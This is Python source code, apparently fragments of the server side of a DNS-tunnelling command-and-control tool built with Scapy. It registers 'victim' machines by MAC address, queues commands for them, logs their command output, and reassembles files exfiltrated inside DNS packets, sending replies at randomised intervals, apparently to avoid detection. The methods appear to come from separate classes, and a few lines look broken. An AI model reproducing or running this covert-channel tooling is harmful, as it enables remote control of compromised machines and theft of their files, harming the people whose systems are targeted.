def _receive_data(self, pkt): """Handle processing data corresponding to file transfers Arguments: pkt {Ether} -- packet that was sent by the client """ log('DataReceiver', '_receive_data', 'Received data packet') victim_mac = Mac(pkt.getlayer(DNSQR).qname.split('.')[0]) victim_dir = self.rel_path + str(victim_mac) if not os.path.exists(victim_dir): log('DataReceiver', '_receive_data', 'Unknown host.') return # Ignore broadcast since Ether() is sent as empty if str(victim_mac) == BROADCAST_MAC: return # Process packets dns_layer = pkt.getlayer(DNS) dnsqr_layer = pkt.getlayer(DNSQR) fields = dnsqr_layer.qname[:-1].split('.') # There is a trailing period filename = fields[-2] + '.' + fields[-1] if fields[-2] == '.com': filename = fields[-1] key = str(victim_mac) + '@' + filename self._handle_data_pkts(pkt, dns_layer, dnsqr_layer, filename, key, victim_mac)
def _receive_ping(self, pkt): """Handle when the client sends a request to ping the server for a command to run Arguments: pkt {Ether} -- packet sent from the client """ # Fetch given command that should be sent to the client log('DataReceiver', '_receive_ping', 'Received ping packet') victim_mac = Mac(pkt.getlayer(DNSQR).qname.split('.')[0]) # Ignore broadcast since Ether() is sent as empty if str(victim_mac) == BROADCAST_MAC: return # If client connecting for first time, create new dir for it victim_dir = self.rel_path + str(victim_mac) if not os.path.exists(victim_dir): self._init_victim_dir(victim_dir) pkts = self.cmd_parser.parse(victim_mac, pkt, victim_dir, self.cmd_file) # Send packets back to victim for p in pkts: self.queue.enqueue(p)
def _handle_data_pkts(self, pkt, dns_layer, dnsqr_layer, filename, key, victim_mac): if dns_layer == None or dnsqr_layer == None: return # Determine if it is a head, body, or tail packet if dns_layer.opcode == DataRequestType.HEAD: # Create entry, append data dnsrr_layer = pkt.getlayer(DNSRR) dns_layer = pkt.getlayer(DNS) self.file_transfer[key] = [PacketData(0, dnsrr_layer.rdata)] elif dns_layer.opcode == DataRequestType.NORMAL: dnsrr_layer = pkt.getlayer(DNSRR) dns_layer = pkt.getlayer(DNS) self.file_transfer[key].append(PacketData(dnsqr_layer.qclass, dnsrr_layer.rdata)) elif dns_layer.opcode == DataRequestType.TAIL: dnsrr_layer = pkt.getlayer(DNSRR) dns_layer = pkt.getlayer(DNS) self.file_transfer[key].append(PacketData(dnsqr_layer.qclass, dnsrr_layer.rdata)) # Sort packets since they may be out of order self.file_transfer[key] = sorted(self.file_transfer[key], key=attrgetter('index')) # Write to file from buffer victim_dir = self.rel_path + str(victim_mac) with open(victim_dir + '/files/' + filename, 'wb+') as f: buf = '' log('DataReceiver', '_handle_data_pkts', 'Writing %s to file'.format(self.file_transfer[key])) print(self.file_transfer[key]) for packet in self.file_transfer[key]: buf += packet.data f.write(buf)
def process(self): if self.queue: command_pkt = self.dequeue() log('CommandQueue', 'process', 'Processing packet') # Randomize packet transfer interval low = int(self.config.delay_time) - int( self.config.delay_time_offset) high = int(self.config.delay_time) + int( self.config.delay_time_offset) timeout = secrets.choice(range(low, high)) log('CommandQueue', 'process', 'Timeout ({})'.format(timeout)) time.sleep(timeout) if command_pkt == None: return # Send the packet that was built sendp(command_pkt, iface=self.interface)
def _receive_recpt(self, pkt): """Process RECPT request from the client and writes out result of command to file Arguments: pkt {Ether} -- packet sent from client """ log('DataReceiver', '_receive_recpt', 'Received receipt packet') # Scapy concats the rdata together, even if it exceeds 255 bytes # test = pkt.getlayer(DNSRR) # print(test.rdata) # Create a new file with current timestamp with output of command victim_mac = Mac(pkt.getlayer(DNSQR).qname.split('.')[0]) # Ignore broadcast since Ether() is sent as empty if str(victim_mac) == BROADCAST_MAC: return self._write_cmd_result(pkt, victim_mac)
def enqueue(self, command_pkt): log('CommandQueue', 'enqueue', 'Added to queue') self.queue.append(command_pkt)